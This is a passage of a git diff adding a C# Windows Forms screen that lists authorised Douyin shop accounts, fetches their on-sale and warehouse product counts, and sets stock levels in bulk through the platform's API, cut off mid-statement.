System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.colShopId = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colShopName = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colCanUse = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.colDetail = new System.Windows.Forms.DataGridViewLinkColumn(); + this.colOnSaleCount = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colOffSaleCount = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colOperationCount = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colStatus = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.btnFailedDetail = new LittleRabbit.UserControls.ButtonEx(); + this.statusBar = new LittleRabbit.UserControls.StatusBarUserControl(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel1.SuspendLayout(); + this.splitContainer1.Panel2.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + this.ucGroupBoxEx3.SuspendLayout(); + this.ucGroupBoxEx1.SuspendLayout(); + this.ucGroupBoxEx2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).BeginInit(); + this.splitContainer2.Panel1.SuspendLayout(); + this.splitContainer2.Panel2.SuspendLayout(); + this.splitContainer2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.dgvShop)).BeginInit(); + this.SuspendLayout(); + // + // splitContainer1 + // + this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer1.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer1.Location = new System.Drawing.Point(0, 0); + this.splitContainer1.Name = "splitContainer1"; + this.splitContainer1.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.Controls.Add(this.txtKeywords); + this.splitContainer1.Panel1.Controls.Add(this.ucGroupBoxEx3); + this.splitContainer1.Panel1.Controls.Add(this.ucGroupBoxEx1); + this.splitContainer1.Panel1.Controls.Add(this.ucGroupBoxEx2); + // + // splitContainer1.Panel2 + // + this.splitContainer1.Panel2.Controls.Add(this.splitContainer2); + this.splitContainer1.Size = new System.Drawing.Size(856, 542); + this.splitContainer1.SplitterDistance = 120; + this.splitContainer1.TabIndex = 379; + // + // txtKeywords + // + this.txtKeywords.Location = new System.Drawing.Point(772, 12); + this.txtKeywords.Name = "txtKeywords"; + this.txtKeywords.Size = new System.Drawing.Size(79, 23); + this.txtKeywords.TabIndex = 398; + this.txtKeywords.Visible = false; + // + // ucGroupBoxEx3 + // + this.ucGroupBoxEx3.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucGroupBoxEx3.BorderStyle = LittleRabbit.UserComponent.UcGroupBoxEx.GroupBoxBorderStyle.ROUND; + this.ucGroupBoxEx3.Controls.Add(this.btnStop); + this.ucGroupBoxEx3.Controls.Add(this.btnSetStock); + this.ucGroupBoxEx3.Location = new System.Drawing.Point(312, 2); + this.ucGroupBoxEx3.Name = "ucGroupBoxEx3"; + this.ucGroupBoxEx3.Size = new System.Drawing.Size(200, 120); + this.ucGroupBoxEx3.TabIndex = 396; + this.ucGroupBoxEx3.TabStop = false; + this.ucGroupBoxEx3.Text = "操作"; + // + // btnStop + // + this.btnStop.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStop.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnStop.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnStop.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnStop.ForeColor = System.Drawing.Color.White; + this.btnStop.Location = new System.Drawing.Point(21, 67); + this.btnStop.Margin = new System.Windows.Forms.Padding(2); + this.btnStop.Name = "btnStop"; + this.btnStop.Size = new System.Drawing.Size(80, 26); + this.btnStop.TabIndex = 379; + this.btnStop.Text = "停止操作"; + this.btnStop.UseVisualStyleBackColor = false; + this.btnStop.Click += new System.EventHandler(this.btnStop_Click); + // + // btnSetStock + // + this.btnSetStock.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSetStock.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnSetStock.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnSetStock.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnSetStock.ForeColor = System.Drawing.Color.White; + this.btnSetStock.Location = new System.Drawing.Point(21, 30); + this.btnSetStock.Margin = new System.Windows.Forms.Padding(2); + this.btnSetStock.Name = "btnSetStock"; + this.btnSetStock.Size = new System.Drawing.Size(80, 26); + this.btnSetStock.TabIndex = 375; + this.btnSetStock.Text = "设置库存"; + this.btnSetStock.UseVisualStyleBackColor = false; + this.btnSetStock.Click += new System.EventHandler(this.btnSetStock_Click); + // + // ucGroupBoxEx1 + // + this.ucGroupBoxEx1.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucGroupBoxEx1.BorderStyle = LittleRabbit.UserComponent.UcGroupBoxEx.GroupBoxBorderStyle.ROUND; + this.ucGroupBoxEx1.Controls.Add(this.btnGetProductCount); + this.ucGroupBoxEx1.Controls.Add(this.btnRefreshShop); + this.ucGroupBoxEx1.Location = new System.Drawing.Point(2, 2); + this.ucGroupBoxEx1.Name = "ucGroupBoxEx1"; + this.ucGroupBoxEx1.Size = new System.Drawing.Size(144, 120); + this.ucGroupBoxEx1.TabIndex = 393; + this.ucGroupBoxEx1.TabStop = false; + this.ucGroupBoxEx1.Text = "店铺刷新"; + // + // btnGetProductCount + // + this.btnGetProductCount.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnGetProductCount.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnGetProductCount.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnGetProductCount.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnGetProductCount.ForeColor = System.Drawing.Color.White; + this.btnGetProductCount.Location = new System.Drawing.Point(15, 67); + this.btnGetProductCount.Margin = new System.Windows.Forms.Padding(2); + this.btnGetProductCount.Name = "btnGetProductCount"; + this.btnGetProductCount.Size = new System.Drawing.Size(113, 26); + this.btnGetProductCount.TabIndex = 375; + this.btnGetProductCount.Text = "获取商品数量"; + this.btnGetProductCount.UseVisualStyleBackColor = false; + this.btnGetProductCount.Click += new System.EventHandler(this.btnGetProductCount_Click); + // + // btnRefreshShop + // + this.btnRefreshShop.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnRefreshShop.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnRefreshShop.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnRefreshShop.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnRefreshShop.ForeColor = System.Drawing.Color.White; + this.btnRefreshShop.Location = new System.Drawing.Point(15, 30); + this.btnRefreshShop.Margin = new System.Windows.Forms.Padding(2); + this.btnRefreshShop.Name = "btnRefreshShop"; + this.btnRefreshShop.Size = new System.Drawing.Size(113, 26); + this.btnRefreshShop.TabIndex = 374; + this.btnRefreshShop.Text = "刷新店铺状态"; + this.btnRefreshShop.UseVisualStyleBackColor = false; + this.btnRefreshShop.Click += new System.EventHandler(this.btnRefreshShop_Click); + // + // ucGroupBoxEx2 + // + this.ucGroupBoxEx2.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucGroupBoxEx2.BorderStyle = LittleRabbit.UserComponent.UcGroupBoxEx.GroupBoxBorderStyle.ROUND; + this.ucGroupBoxEx2.Controls.Add(this.txtStockCount); + this.ucGroupBoxEx2.Controls.Add(this.label2); + this.ucGroupBoxEx2.Controls.Add(this.txtOperateCount); + this.ucGroupBoxEx2.Controls.Add(this.label12); + this.ucGroupBoxEx2.Location = new System.Drawing.Point(147, 2); + this.ucGroupBoxEx2.Name = "ucGroupBoxEx2"; + this.ucGroupBoxEx2.Size = new System.Drawing.Size(164, 120); + this.ucGroupBoxEx2.TabIndex = 395; + this.ucGroupBoxEx2.TabStop = false; + this.ucGroupBoxEx2.Text = "参数"; + // + // txtStockCount + // + this.txtStockCount.Location = new System.Drawing.Point(106, 70); + this.txtStockCount.Name = "txtStockCount"; + this.txtStockCount.Size = new System.Drawing.Size(44, 23); + this.txtStockCount.TabIndex = 402; + this.txtStockCount.Text = "99"; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(11, 73); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(92, 17); + this.label2.TabIndex = 397; + this.label2.Text = "设置商品库存为"; + // + // txtOperateCount + // + this.txtOperateCount.Location = new System.Drawing.Point(71, 33); + this.txtOperateCount.Name = "txtOperateCount"; + this.txtOperateCount.Size = new System.Drawing.Size(79, 23); + this.txtOperateCount.TabIndex = 376; + this.txtOperateCount.Text = "999999"; + // + // label12 + // + this.label12.AutoSize = true; + this.label12.Location = new System.Drawing.Point(13, 36); + this.label12.Name = "label12"; + this.label12.Size = new System.Drawing.Size(56, 17); + this.label12.TabIndex = 378; + this.label12.Text = "处理数量"; + // + // splitContainer2 + // + this.splitContainer2.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer2.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.splitContainer2.Location = new System.Drawing.Point(0, 0); + this.splitContainer2.Name = "splitContainer2"; + this.splitContainer2.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer2.Panel1 + // + this.splitContainer2.Panel1.Controls.Add(this.dgvShop); + this.splitContainer2.Panel1.Padding = new System.Windows.Forms.Padding(4, 0, 4, 0); + // + // splitContainer2.Panel2 + // + this.splitContainer2.Panel2.Controls.Add(this.btnFailedDetail); + this.splitContainer2.Panel2.Controls.Add(this.statusBar); + this.splitContainer2.Size = new System.Drawing.Size(856, 418); + this.splitContainer2.SplitterDistance = 388; + this.splitContainer2.TabIndex = 7; + // + // dgvShop + // + this.dgvShop.AllowUserToAddRows = false; + this.dgvShop.AllowUserToDeleteRows = false; + dataGridViewCellStyle4.BackColor = System.Drawing.Color.WhiteSmoke; + this.dgvShop.AlternatingRowsDefaultCellStyle = dataGridViewCellStyle4; + this.dgvShop.BackgroundColor = System.Drawing.Color.White; + this.dgvShop.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + dataGridViewCellStyle5.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle5.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle5.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle5.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle5.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle5.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle5.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dgvShop.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle5; + this.dgvShop.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.dgvShop.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.colSelect, + this.colShopId, + this.colShopName, + this.colCanUse, + this.colDetail, + this.colOnSaleCount, + this.colOffSaleCount, + this.colOperationCount, + this.colStatus}); + this.dgvShop.Dock = System.Windows.Forms.DockStyle.Fill; + this.dgvShop.Location = new System.Drawing.Point(4, 0); + this.dgvShop.Name = "dgvShop"; + this.dgvShop.ReadOnly = true; + dataGridViewCellStyle6.Font = new System.Drawing.Font("微软雅黑", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.dgvShop.RowsDefaultCellStyle = dataGridViewCellStyle6; + this.dgvShop.RowTemplate.Height = 23; + this.dgvShop.Size = new System.Drawing.Size(848, 388); + this.dgvShop.TabIndex = 6; + this.dgvShop.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dgvShop_CellContentClick); + // + // colSelect + // + this.colSelect.FillWeight = 50F; + this.colSelect.HeaderText = "选"; + this.colSelect.Name = "colSelect"; + this.colSelect.ReadOnly = true; + this.colSelect.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colSelect.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colSelect.Width = 41; + // + // colShopId + // + this.colShopId.HeaderText = "店铺Id"; + this.colShopId.Name = "colShopId"; + this.colShopId.ReadOnly = true; + this.colShopId.Visible = false; + this.colShopId.Width = 150; + // + // colShopName + // + this.colShopName.HeaderText = "店铺名称"; + this.colShopName.Name = "colShopName"; + this.colShopName.ReadOnly = true; + this.colShopName.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colShopName.Width = 250; + // + // colCanUse + // + this.colCanUse.HeaderText = "可用"; + this.colCanUse.Name = "colCanUse"; + this.colCanUse.ReadOnly = true; + this.colCanUse.Width = 50; + // + // colDetail + // + this.colDetail.HeaderText = "查看详情"; + this.colDetail.Name = "colDetail"; + this.colDetail.ReadOnly = true; + this.colDetail.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colDetail.Visible = false; + this.colDetail.Width = 90; + // + // colOnSaleCount + // + this.colOnSaleCount.HeaderText = "出售中"; + this.colOnSaleCount.Name = "colOnSaleCount"; + this.colOnSaleCount.ReadOnly = true; + this.colOnSaleCount.Width = 80; + // + // colOffSaleCount + // + this.colOffSaleCount.HeaderText = "仓库中"; + this.colOffSaleCount.Name = "colOffSaleCount"; + this.colOffSaleCount.ReadOnly = true; + this.colOffSaleCount.Width = 80; + // + // colOperationCount + // + this.colOperationCount.HeaderText = "操作数量"; + this.colOperationCount.Name = "colOperationCount"; + this.colOperationCount.ReadOnly = true; + // + // colStatus + // + this.colStatus.HeaderText = "操作状态"; + this.colStatus.Name = "colStatus"; + this.colStatus.ReadOnly = true; + this.colStatus.Width = 200; + // + // btnFailedDetail + // + this.btnFailedDetail.Anchor = System.Windows.Forms.AnchorStyles.Right; + this.btnFailedDetail.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnFailedDetail.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnFailedDetail.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnFailedDetail.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnFailedDetail.ForeColor = System.Drawing.Color.White; + this.btnFailedDetail.Location = new System.Drawing.Point(772, -3); + this.btnFailedDetail.Margin = new System.Windows.Forms.Padding(2); + this.btnFailedDetail.Name = "btnFailedDetail"; + this.btnFailedDetail.Size = new System.Drawing.Size(80, 26); + this.btnFailedDetail.TabIndex = 377; + this.btnFailedDetail.Text = "失败详情"; + this.btnFailedDetail.UseVisualStyleBackColor = false; + // + // statusBar + // + this.statusBar.BackColor = System.Drawing.Color.White; + this.statusBar.Dock = System.Windows.Forms.DockStyle.Fill; + this.statusBar.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.statusBar.Location = new System.Drawing.Point(0, 0); + this.statusBar.Margin = new System.Windows.Forms.Padding(0); + this.statusBar.Name = "statusBar"; + this.statusBar.Size = new System.Drawing.Size(856, 26); + this.statusBar.TabIndex = 2; + // + // StockSyncForm + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.BackColor = System.Drawing.Color.White; + this.ClientSize = new System.Drawing.Size(856, 542); + this.Controls.Add(this.splitContainer1); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.Name = "StockSyncForm"; + this.Text = "StockSyncForm"; + this.Load += new System.EventHandler(this.StockSyncForm_Load); + this.VisibleChanged += new System.EventHandler(this.StockSyncForm_VisibleChanged); + this.splitContainer1.Panel1.ResumeLayout(false); + this.splitContainer1.Panel1.PerformLayout(); + this.splitContainer1.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + this.ucGroupBoxEx3.ResumeLayout(false); + this.ucGroupBoxEx1.ResumeLayout(false); + this.ucGroupBoxEx2.ResumeLayout(false); + this.ucGroupBoxEx2.PerformLayout(); + this.splitContainer2.Panel1.ResumeLayout(false); + this.splitContainer2.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).EndInit(); + this.splitContainer2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.dgvShop)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.SplitContainer splitContainer1; + private UserComponent.UcGroupBoxEx ucGroupBoxEx3; + private UserControls.ButtonEx btnStop; + private UserControls.ButtonEx btnSetStock; + private UserComponent.UcGroupBoxEx ucGroupBoxEx1; + private UserControls.ButtonEx btnGetProductCount; + private UserControls.ButtonEx btnRefreshShop; + private UserComponent.UcGroupBoxEx ucGroupBoxEx2; + private System.Windows.Forms.TextBox txtStockCount; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.TextBox txtOperateCount; + private System.Windows.Forms.Label label12; + private System.Windows.Forms.SplitContainer splitContainer2; + private UserComponent.DataGridViewEx dgvShop; + private System.Windows.Forms.DataGridViewCheckBoxColumn colSelect; + private System.Windows.Forms.DataGridViewTextBoxColumn colShopId; + private System.Windows.Forms.DataGridViewTextBoxColumn colShopName; + private System.Windows.Forms.DataGridViewCheckBoxColumn colCanUse; + private System.Windows.Forms.DataGridViewLinkColumn colDetail; + private System.Windows.Forms.DataGridViewTextBoxColumn colOnSaleCount; + private System.Windows.Forms.DataGridViewTextBoxColumn colOffSaleCount; + private System.Windows.Forms.DataGridViewTextBoxColumn colOperationCount; + private System.Windows.Forms.DataGridViewTextBoxColumn colStatus; + private UserControls.StatusBarUserControl statusBar; + private System.Windows.Forms.TextBox txtKeywords; + private UserControls.ButtonEx btnFailedDetail; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/UploadForms/StockSyncForm.cs b/TEMUKJD/KJDForms/UploadForms/StockSyncForm.cs new file mode 100644 index 0000000..f997c4b --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/StockSyncForm.cs @@ -0,0 +1,604 @@ +using AllBase; +using AllBase.Helper; +using AllBase.Model.Result; +using LittleRabbit.Extension; +using LittleRabbit.LittleRabbitForms.BaseForms; +using NaiBa.Util.Extension; +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work.DouyinApiClass; + +namespace LittleRabbit.LittleRabbitForms.UploadForms +{ + public partial class StockSyncForm : Form + { + private int operateCount = 999999; + private int stock = 99; + private List keyWords = null; + private CheckBox chkSelectAll = null; + private List lstShopId = new List(); + public string FailedMessages = ""; + CancellationTokenSource cancellationTokenSource = null; + + public StockSyncForm() + { + InitializeComponent(); + } + + private void StockSyncForm_Load(object sender, EventArgs e) + { + chkSelectAll = dgvShop.Columns["colSelect"].AddHeaderCheckBox(HorizontalAlignment.Right, 0, 0, null, null, false); + chkSelectAll.Width = chkSelectAll.Height = 13; + chkSelectAll.CheckedChanged += chkSelectAll_CheckedChanged; + } + + private void StockSyncForm_VisibleChanged(object sender, EventArgs e) + { + RefreshShop(); + } + + private void RefreshShop() + { + // 更新选中的上货店铺Id + lstShopId = lstShopId.Where(id => GlobalConfig.DouShopLoginList.Any(s => s.ShopAccountId == id && s.LoginStatus == "已授权")).ToList(); + // 获取被删除的店铺 + List dgvRowList = dgvShop.Rows.Cast().Where(row + => !GlobalConfig.DouShopLoginList.Any(s => s.ShopAccountId == row.Cells["colShopId"]?.Value?.ToString())).ToList(); + // 更新被删除的店铺列表 + foreach (var row in dgvRowList) + { + dgvShop.Rows.Remove(row); + } + // 绑定其他店铺(含新导入的店铺) + foreach (DouShopLoginInfo shopEntity in GlobalConfig.DouShopLoginList) + { + BindShop(shopEntity); + } + } + + private void BindShop(DouShopLoginInfo shopEntity) + { + var row = dgvShop.Rows.Cast().FirstOrDefault(p => p.Cells.GetCellValueFromColumnName("colShopId").ParseToString() == shopEntity.ShopAccountId); + if (row == null) + { + this.dgvShop.Rows.Add( + false, + shopEntity.ShopAccountId, + shopEntity.ShopAccount, + shopEntity.ApiAuthStatus == "授权成功" ? true : false, + "查看详情", + shopEntity.OnlineProductCount >= 0 ? shopEntity.OnlineProductCount.ToString() : "", + shopEntity.OfflineProductCount >= 0 ? shopEntity.OfflineProductCount.ToString() : "", + string.Empty, + string.Empty + ); + } + else + { + row.Cells["colSelect"].Value = lstShopId.Contains(shopEntity.ShopAccountId); + row.Cells["colShopName"].Value = shopEntity.ShopAccount; + row.Cells["colCanUse"].Value = shopEntity.ApiAuthStatus == "授权成功" ? true : false; + row.Cells["colOnSaleCount"].Value = shopEntity.OnlineProductCount >= 0 ? shopEntity.OnlineProductCount.ToString() : ""; + row.Cells["colOffSaleCount"].Value = shopEntity.OfflineProductCount >= 0 ? shopEntity.OfflineProductCount.ToString() : ""; + } + } + + private void chkSelectAll_CheckedChanged(object sender, EventArgs e) + { + if (!chkSelectAll.Checked) + { + lstShopId.Clear(); + foreach (DataGridViewRow row in dgvShop.Rows) + { + row.Cells["colSelect"].Value = false; + } + } + else + { + lstShopId.Clear(); + var list = GlobalConfig.DouShopLoginList.Where(s => s.ApiAuthStatus == "授权成功").Select(ss => ss.ShopAccountId); + lstShopId.AddRange(list); + foreach (DataGridViewRow row in dgvShop.Rows) + { + if (list.Any(l => l == row.Cells["colShopId"]?.Value?.ToString())) + row.Cells["colSelect"].Value = true; + } + } + } + + private void btnRefreshShop_Click(object sender, EventArgs e) + { + RefreshShop(); + } + + private void btnGetProductCount_Click(object sender, EventArgs e) + { + if (lstShopId.Count == 0) + { + BaseMsgForm.ShowInfo("请选择要获取商品数量的店铺"); + return; + } + this.btnGetProductCount.Enabled = false; + foreach (DataGridViewRow row in dgvShop.Rows) + { + if (lstShopId.Contains(row.Cells["colShopId"]?.Value)) + row.Cells["colStatus"].Value = ""; + } + Task.Run(() => + { + GetShopProduct(); + + Invoke(new Action(() => + { + btnGetProductCount.Enabled = true; + BaseMsgForm.ShowInfo("商品数量获取完成"); + })); + }); + } + + void GetShopProduct(bool isShowProgress = true) + { + int i = 0; + var shopList = GlobalConfig.DouShopLoginList.Where(s => s.ApiAuthStatus == "授权成功" && lstShopId.Contains(s.ShopAccountId)); + foreach (var shop in shopList) + { + this.Invoke(new Action(() => + { + i++; + var total = shopList.Count(); + + if (isShowProgress) + { + this.statusBar.lblTaskStatus.Text = "正在获取..."; + this.statusBar.pgbTaskProgress.Value = i; + this.statusBar.pgbTaskProgress.Text = i + "/" + total; + this.statusBar.pgbTaskProgress.Maximum = total; + } + })); + + GetShopProduct(shop); + Thread.Sleep(Randomx.GetId(50, 150)); + } + Invoke(new Action(() => + { + if (isShowProgress) + this.statusBar.lblTaskStatus.Text = "获取完成"; + })); + } + + void GetShopProduct(DouShopLoginInfo shop, bool isShowResult = true) + { + DataGridViewRow row = null; + Invoke(new Action(() => + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) + { + if (isShowResult) + row.Cells["colStatus"].Value = "正在获取店铺商品数量"; + } + })); + + // 读取在售商品数量 + var resultOnline = GetShopProductListData(shop, 0, 1, 10); + if (resultOnline.Contains("\"code\":10000")) + { + if (row != null) + { + var text = BaseRegex.GetStringJson(ref resultOnline, "total"); + shop.OnlineProductCount = text.ParseToInt(); + + Invoke(new Action(() => + { + row.Cells["colOnSaleCount"].Value = string.IsNullOrEmpty(text) ? "" : text; + })); + } + } + // 读取下架商品数量 + var resultOffline = GetShopProductListData(shop, 1, 1, 10); + if (resultOffline.Contains("\"code\":10000")) + { + if (row != null) + { + var text = BaseRegex.GetStringJson(ref resultOffline, "total"); + shop.OfflineProductCount = text.ParseToInt(); + + Invoke(new Action(() => + { + row.Cells["colOffSaleCount"].Value = string.IsNullOrEmpty(text) ? "" : text; + })); + } + } + + string resultShowText = ""; + if (resultOnline.Contains("\"code\":10000") && resultOffline.Contains("\"code\":10000")) + { + resultShowText = "商品数量获取成功"; + } + else + { + resultShowText = "商品数量获取失败"; + if (!resultOnline.Contains("\"code\":10000")) + { + var html = BaseRegex.GetStringJson(ref resultOnline, "sub_msg"); + if (string.IsNullOrEmpty(html)) + html = resultOnline; + resultShowText += ",获取在售商品错误:" + html; + } + if (!resultOffline.Contains("\"code\":10000")) + { + var html = BaseRegex.GetStringJson(ref resultOffline, "sub_msg"); + if (string.IsNullOrEmpty(html)) + html = resultOffline; + resultShowText += ",获取仓库商品错误:" + html; + } + } + Invoke(new Action(() => + { + if (row != null) + { + if (isShowResult) + row.Cells["colStatus"].Value = resultShowText; + } + })); + } + + public string GetShopProductListData(DouShopLoginInfo shop, int productStatus = 0, int page = 1, int pageSize = 50) + { + // 读取在售商品数量 + Dictionary dictionary = new Dictionary(); + dictionary.Add("page", page.ToString()); + dictionary.Add("size", pageSize.ToString()); + if (productStatus == 0) + dictionary.Add("check_status", "3"); + dictionary["status"] = productStatus.ToString(); + DouyinApi douApi = new DouyinApi(shop); + douApi.JsonData = dictionary; + var resultOnline = douApi.GetProductList(); + return resultOnline; + } + + private void btnStop_Click(object sender, EventArgs e) + { + if (cancellationTokenSource != null) + cancellationTokenSource.Cancel(); + } + + private void btnSetStock_Click(object sender, EventArgs e) + { + if (lstShopId.Count == 0) + { + BaseMsgForm.ShowInfo("请选择要设置库存的店铺"); + return; + } + try + { + stock = txtStockCount.Text.ParseToInt(); + this.operateCount = Convert.ToInt32(txtOperateCount.Text); + this.keyWords = txtKeywords.Text.Split(new string[] { "," }, StringSplitOptions.RemoveEmptyEntries).ToList(); + } + catch (Exception ex) + { + BaseMsgForm.ShowInfo("请输入正确的参数"); + return; + } + FailedMessages = ""; + this.btnFailedDetail.Visible = false; + this.btnSetStock.Enabled = false; + foreach (DataGridViewRow row in dgvShop.Rows) + { + if (lstShopId.Contains(row.Cells["colShopId"].Value?.ToString())) + row.Cells["colStatus"].Value = ""; + } + + int n = 0; + cancellationTokenSource = new CancellationTokenSource(); + //notClearDate = DateTime.Now.Date.AddDays(0 - this.txtNotOperateDays.ParseToInt()); + + Task.Run(() => + { + foreach (var shopId in lstShopId) + { + this.Invoke(new Action(() => + { + n++; + var total = lstShopId.Count(); + + this.statusBar.lblTaskStatus.Text = "正在设置库存..."; + this.statusBar.pgbTaskProgress.Value = n; + this.statusBar.pgbTaskProgress.Text = n + "/" + total; + this.statusBar.pgbTaskProgress.Maximum = total; + })); + + var shop = GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.ShopAccountId == shopId); + if (shop == null) + continue; + + DataGridViewRow row = null; + Invoke(new Action(() => + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { row.Cells["colStatus"].Value = "正在设置库存"; } + })); + + // 显示商品数 + GetShopProduct(shop, false); + + int totalNumBase = shop.OnlineProductCount; // 设置开始时的在售商品数 + int totalNum = shop.OnlineProductCount; // 在售商品数 + int setNum = 0; // 设置商品数量(因关键词存在因此少于或等于商品循环计数) + int currentNum = 0; // 商品循环计数 + int page = 0; + int pageSize = 50; + string offSaleMessage = ""; + List productList = new List(); + + var waitSetStockHtml = ""; + + while ((currentNum < operateCount && currentNum < totalNumBase) || page == 0) + { + page += 1; + currentNum += pageSize; + if (cancellationTokenSource.IsCancellationRequested) + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { Invoke(new Action(() => { row.Cells["colStatus"].Value = "下架中断"; })); } + break; + } + + // 获取商品列表 + waitSetStockHtml = GetShopProductListData(shop, 0, page); + Thread.Sleep(Randomx.GetId(500, 1000)); + + if (waitSetStockHtml.Contains("\"code\":10000")) + { + totalNum = BaseRegex.GetIntJson(ref waitSetStockHtml, "total"); + shop.OfflineProductCount = totalNum; + + if (operateCount > totalNumBase) + operateCount = totalNumBase; + if (currentNum > totalNumBase) + currentNum = totalNumBase; + + Invoke(new Action(() => + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) + { + row.Cells["colOnSaleCount"].Value = totalNumBase; + } + })); + if (totalNum == 0) + { + offSaleMessage = "设置结束,店铺没有在售的商品"; + Invoke(new Action(() => + { + row = 